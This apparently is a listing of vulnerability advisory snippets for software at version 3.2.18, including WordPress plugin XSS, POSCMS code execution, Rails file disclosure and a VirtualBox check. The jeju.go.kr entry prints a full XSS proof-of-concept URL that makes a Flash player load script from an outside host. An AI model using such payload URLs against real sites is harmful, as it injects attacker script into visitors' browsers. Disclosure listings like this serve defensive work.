My Calendar < 3.2.18 - Subscriber+ Reflected Cross-Site Scripting

The plugin does not sanitise and escape the callback parameter of the mcpostlookup AJAX action available to any authenticated user before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue...

CVE-2018-10236

POSCMS 3.2.18 allows remote attackers to execute arbitrary PHP code via the diy\dayrui\controllers\admin\Syscontroller.php 'add' function because an attacker can control the value of $data'name' with no restrictions, and this value is written to the FCPATH.$file file...

jeju.go.kr XSS vulnerability

Vulnerable URL: http://www.jeju.go.kr/pub/plugin/SpiderLivePlayer/flowplayer-3.2.18.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| Yes, at 03.07.2017 Latest check for patch:| 03.07.2017 06:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

PT-2014-3491 · Ruby +1 · Ruby On Rails +1

Name of the Vulnerable Software and Affected Versions: Ruby on Rails versions prior to 3.2.18 Ruby on Rails versions 4.0.x prior to 4.0.5 Ruby on Rails versions 4.1.x prior to 4.1.1 Description: The issue allows remote attackers to read arbitrary files via a crafted request, due to a directory...

Oracle VirtualBox Local Denial of Service Vulnerability-01 (Oct 2013) - Windows

Oracle VirtualBox is prone to an unspecified vulnerability. SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...